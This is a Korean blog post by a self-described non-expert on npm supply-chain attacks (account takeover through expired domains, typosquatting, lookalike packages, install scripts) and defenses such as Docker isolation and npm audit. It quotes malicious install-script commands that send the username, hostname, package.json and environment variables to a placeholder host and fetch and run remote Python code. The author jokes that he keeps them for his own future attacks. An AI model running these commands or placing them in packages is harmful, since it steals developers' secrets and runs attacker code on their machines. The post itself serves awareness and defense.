안전한 개발환경을 만들어보자
:::caution 주의
저는 보안 전문가가 아닙니다. 취미로 주된 업무 분야(프론트엔드)가 아닌 것도 건드려보기 때문에 이 글을 쓰기 시작했습니다.
보안 조언으로 받아들이지 마시고 모든 책임은 본인에게 있습니다.
:::
배경
취업하고 배가 따시하기 시작하니까 저는 이제 새로운 걱정이 생겼습니다. 보안입니다.
공부 혹은 취미로 코딩하는데 언제든지 멀웨어가 설치될 수 있습니다. github 돌아다니면서 재미있어 보이면 설치해봅니다. 그 과정에 언제든이 멀웨어가 설치될 수 있습니다.
보통 많이 거르고(take with a grain of salt) 보는 테크 유튜버입니다. 하지만 위 영상을 보고 경각심을 갖게 되었습니다. pnpm, yarn으로 설치를 많이하는데 node_modules 폴더 내에 다양한 멜웨어들이 도사릴 것입니다. 저도 그런 공격을 시도해볼 것 같습니다.
먼저 방어를 하려면 공격의 경로를 파악해야 합니다. npm 보안과 관련된 자료는 노마드 코더만 알려준 내용만 있을 것은 아닙니다. 몇가지 안일한 생각은 큰 규모의 오픈소스라면 별 문제가 없을 것이라고 착각합니다. 절대 아닙니다. 초기에 PR을 대충 PASS 시키는 경우도 많을 수 있고 코어 메인테이너가 그냥 넘어갈지도 모릅니다. 아직 발견한 증거는 없습니다.
위 영상을 보면서 생겨난 의문들과 대응 방안들을 찾고자 이 글을 쓰기 시작했습니다. 또 npm에 docker 설정한다는 언제 알려줄지도 모릅니다. 마냥 기다리기는 싫어서 제가 다루고 싶어졌습니다. 또 위 영상에서만 알려준 조언은 한계가 많습니다.
공급망 공격
노마드 코더가 다루고 알려준 것이지만 다시 언급하겠습니다.
공격자가 기업(개발자)의 소프트웨어 설치 및 업데이트 배포 과정에 침입해 정상 소프트웨어인 것처럼 꾸민 악성 소프트웨어를 사용자 기기에 설치하는 방식
- 보안뉴스1
공급망 공격은 패키지 생태계가 있는 모든 프로그래밍 언어는 해당합니다. 표준 라이브러리가 아닌 설치가 필요한 시점부터 모두 취약점입니다. 저 같은 soydev는 npm, pip에 의존을 많이 하고 있는데 설치할 때마다 저의 기계가 탈취될 가능성을 만드는 것입니다.
어느정도 오픈소스 커뮤니티에서 알려진 라이브러리를 사용하면 피해규모를 줄일 수 있을 것이라고 많이 착각합니다. 피해자가 많으면 대응하려는 사람이 많으니까 비교적 안전할 것이고 PR에 보안문제를 만드는 것을 통과시킬 가능성은 낮겠죠? 우리는 안일합니다. 언제든지 메인테이너는 변절(Compromised)할 수 있습니다. 구글은 알리바바에게 매각당하고 개인정보 백도어를 언제 만들지 모릅니다. 알루미늄 모자는 내려 놓고
공급망 공격은 모든 언어와 플랫폼에게 있습니다. 차이는 있지만 모두취약합니다. 그래서 매번 설치하기 전에 직접 확인하는 습성을 기르기 바랍니다.
공급망 공격을 통해 유저 기계에 접근하고 다음과 같은 취약점이 발생할 수 있습니다.
- 이메일 유출
- 디렉토리 유출
- 환경 변수 유출
- 기계에 저장한 정보(ex: github-recovery-codes) 유출
- keylogger 설치
- Remote Access Trojan
- 메모리 부패
제가 공포심을 유발했다면 다행입니다. 말이 통하는 사람입니다.
npm Account 공격
- npm 패키지 중에서 커스텀 도메인이 만료된 계정을 찾습니다.
- 도메인을 구매합니다.
- 도메인을 활용해서 비밀번호 초기화 이메일 보내기
- 비밀번호가 초기화 된 이메일 탈취
- 패키지를 탈취 후 멀웨어 업로드
- 사일런트 업데이트
이 공격이 유효할 수 있는 이유들이 있습니다. 하나는 npm이 host 권한으로 모든 것을 실행해주기 때문입니다. 또 라이언 달의 실수입니다. 다른 하나는 npm은 자체적으로 auth를 다루고 있기 때문입니다. 자체적으로 auth를 다룰 때 문제는 도메인의 만료 때입니다. npm은 사용자의 인증을 관리하지 사용자의 이메일을 관리하지 않습니다. 이렇게 보면 github, gitlab 같은 원격 레포서비스 이메일로 가입을 요구하는 것이 합리적으로 보입니다.
언제든지 퍼블리셔의 계정이 탈취당할 수 있습니다. 우리는 이 취약점을 항상 기억해야 합니다. 메인테이너가 해커에게 동조할지도 모르고 관심이 없어서 PR에서 지나 쳤을 수 있습니다.
npm 가입 페이지입니다.
이메일을 google, github 같은 계정을 절대 활용하고 있지 않습니다. 최소한 이메일 인증을 지원하고 있습니다. 심지어 비밀번호 확인 input
도 없습니다. input 2개 요구하는 이유가 가입할 때 틀리는 거 방지하려는 것입니다. 이게 중요한 것은 아니구요
이런 이메일 탈취는 개인이 노력하고 MFA(Multi-Factor Authentication)를 활용 하는 방안이 있습니다. 하지만 모든 사용자가 이렇게 도입할 것이라고 장담할 수 없습니다.
능동적으로 취할 방어전략이 크게 없습니다. npm에 의존하고 있는 동안 항상 취약점에 열려있다고 봐야 합니다. 최소한의 패키지만 설치하고 설치 전에 베스트 프랙티스에 맞는지 확인해야 합니다. 메인테이너 팀이 코드 리뷰를 꼼꼼하게 하는 프로세스가 있는지 확인하는 것도 필요할 것입니다. 그렇게 해도 사람을 실수를 하게 될 것입니다. 또 패키지 설치에 선택지가 너무 많이 줄어들 것입니다. 나중에 node 혹은 bun에 보안 취약점을 알려 줄 수 있을 때까지 기다리는 방법은 너무 수동적입니다. 이것과 마찬가지로 npm 공급망 공격시도가 비효율적이라 공격시도를 자제하게 만는 방법도 있지만 이것도 수동적입니다. 본인이 보안과 관련해서 능력이 있다면 직접 audit하는 방법도 있을 것입니다. 현재 저는 그런 지식과 능력이 없습니다.
설치를 하면 node module을 확인해보고 거기에 수상한 파일이 있는지 확인해봐야 합니다. 쉘 확장자가 있는지 특이한 실행파일이 있는지 파악해야 합니다.
Typosquatting Attack
인간의 실수를 바라고 만드는 공격입니다. 직접 타이핑을 하는 상남자들이 많은데 저같은 하남자들은 공식 홈페이지에서 코드 스니펫 클릭하고 설치합니다.
npm create vite@latest
위는 일반적인 vite 설치 명령입니다. 여기서 어순 오타 버전을 추가해주면 됩니다.
npm create viet .
npm create vtie .
npm create ivte .
npm create ivet .
이런 오타를 노리고 패키지를 설치하기 바라는 전략입니다. 비교적 방어 전략이 단순합니다. 저랑 같이 하남자가 되면 됩니다.
패키지 피싱
노마드 코더는 Math JS로 목차를 달아 뒀는데 저는 패키지 피싱이 이라는 제목이 생각났습니다.
공식 라이브러리의 다른 버전인척 흉내내는 전략입니다. 접두어 접미어를 붙여서 다른 버전인 것처럼 보이려고 합니다.
npm create vite-min .
예시를 들면 위와 같습니다. 접미사로 min을 붙이거나 어떤 접두어를 붙이는 것입니다. 물론 이것에 대한 방어 전략은 그냥 같은 퍼블리셔인지 확인만 하면 됩니다. 이것도 비교적 방어 적략이 단순합니다.
Installation Scripts
npm의 문제점 중 하나입니다. pre-install
과 post-install
을 실행합니다. 설치 작업 전후로 사용자에게 권한 체크를 요구하지 않습니다. Deno는 귀찮게 요구합니다. 랜더링 라이브러리인데 네트워크 요청을 시도하면 멀웨어가 설치된 패키지라는 것을 알 수 있습니다. 반면 npm은 그냥 모두 실행합니다.
이런 명령이 왜 문제가 되는가? 실제로 자바스크립트 명령만 실행하는 것이 아니기 때문입니다. 퍼블리셔는 host 권한으로 커맨드라인을 직접 제어할 수 있습니다. 이렇게 되면 문제는 npm을 통해서 설치 할 수 없던 멀웨어를 커맨드라인을 통해서 설치하게 만드는 것입니다. 물론 크로미움, 셀레니움 같은 것을 설치하도록 하는 경우도 있습니다. 이것이 원래 목적입니다. 하지만 이런 프로그램도 설치가 가능하다면 다른 것도 가능하다는 것을 알 수 있습니다. 현재는 npm 베스트 프랙티스는 아니라고 해서 많은 라이브러리 개발자들이 기피하기 시작했습니다.
다음은 샌드웜이 다룬 install script 보안 취약점 예시를 소개하겠습니다.
Dissecting Npm Malware: Five Packages And Their Evil Install Scripts
(번역) Npm 멀웨어 해부: 다섯 가지 패키지와 악의적인 설치 스크립트
Deno가 하는 짓거리 보고 Node 팀에서도 의식하기 시작했습니다. 20 버전부터는 실험적으로 지원을 시작했습니다. 하지만 실험적이기 때문에 본인이 알아서 하기 바랍니다.
wget --quiet "어떤origin/?user=$(whoami)&path=$(pwd)&hostname=$(hostname)"
위 커맨드를 특정 서버에 보내도록 해서 유저의 정보를 탈추할 수 있습니다. 유저의 이름과 디렉토리 그리고 호스트를 알아내서 서버에게 데이터를 전달합니다.
nslookup $(whoami).어떤origin;nslookup $(uname --nodename).어떤origin;curl -X POST -d @package.json -H 'X-BOT: nope' 어떤origin/.x773/package.json ; env > /tmp/.env ; curl -X POST -d @/tmp/.env -H 'X-BOT: nope' 어떤origin/.x773/env.json
위 커맨드는 컴퓨터의 호스트네임, package.json
, 환경 변수를 탈취합니다.
wget '어떤origin/p.py' -O ~/.vim.hint;python ~/.vim.hint
위는 파이썬 스크립트를 유저의 홈디렉토리에 설치합니다.
nohup python -c 'import urllib;exec urllib.urlopen("어떤origin/p.py").read()'
위는 클라이언트 기계에서 파이썬을 실행합니다. 설치 실행을 위한 기교가 대단합니다.
제가 이렇게 코드블럭을 남긴 이유는 나중에 제가 공격자가 될 때 사용하기 위함입니다.
방어 전략은 pre-install, post-install을 하는지 레포에서 파악하고 설치를 처리합니다. 그리고 설치를 할 때 무슨 명령을 하는지 라이브러리 코드를 독해하는 능력을 길러야 합니다.
sandworm-audit을 실행하면 된다고 하는데 사실 잘 모릅니다.
방어
방어 전략들이 필요합니다. 로컬 머신을 방어하려면 먼저 Docker를 설치해서 패키지 내에 멀웨어의 활동범위를 축소시켜야 합니다. docker는 다루다가 보니까 저의 블로그 글쓰기 주제를 벗어 났습니다. 컨테이너 인스턴스를 띄우는 방법은 생략하겠습니다.
npm audit을 통해서 실제 보안취약점 문제를 확인하도록 합니다.
npm audit
sandworm
npm에 대해서는 조금더 근본적인 해결책을 찾고 싶었습니다.
Dockerize로 기계 방어
Docker를 사용하는 이유는 로컬 기계에서 서로 격리시키기 때문입니다. 도커 컨테이너 내에 모두 설치하고 컨테이너를 종료하면 삭제하는 것으로 방어합니다. 설치된 파일이 컨테이너 내부에서 실행되고 있기 때문에 기계 전체를 접근하기는 어렵습니다. 개발하는 로컬환경에서도 이렇게 Docker를 사용하는 것이 좋습니다. 하지만 그래도 한계도 있습니다.
- 피해가 컨테이너 내부라고 할 뿐이지 컨테이너 내부에도 중요한 정보들이 있습니다.
- 환경변수(
.env
파일)와 관련된 개인정보는 탈취당할 수 있습니다. - Docker 자체도 보안취약점이 있습니다. base image도 결국에는 Docker hub에서 선택하고 공급망에 의존하고 있습니다. 공급망에 의존하고 있는한 언제든지 공급자가 백도어를 설치할 가능성이 높습니다.
그래서 개발환경을 Dockerize는 당연히 해야 하는 것이고 그래도 부족한 것입니다. 또 Docker에 대한 audit도 처리해야 합니다.
npm의 세계는 생각보다 안전합니다.
npx create-next-app@latest .
npx nuxi@latest init .
npm create vite@latest .
npm audit --audit-level=high
npx @sandworm/audit@latest
저는 스스로 사람을 불신한다고 하면서 사람을 아주 잘 믿는 사람입니다.
생각보다 anticlimactic하게 별거 없었습니다. 꽤나 심각한 멀웨어를 왕창 설치할 거라고 생각했는데 아니었습니다.
결론
설치할 때 보안취약점 확인해보고 없으면 그냥 편하게 개발합시다.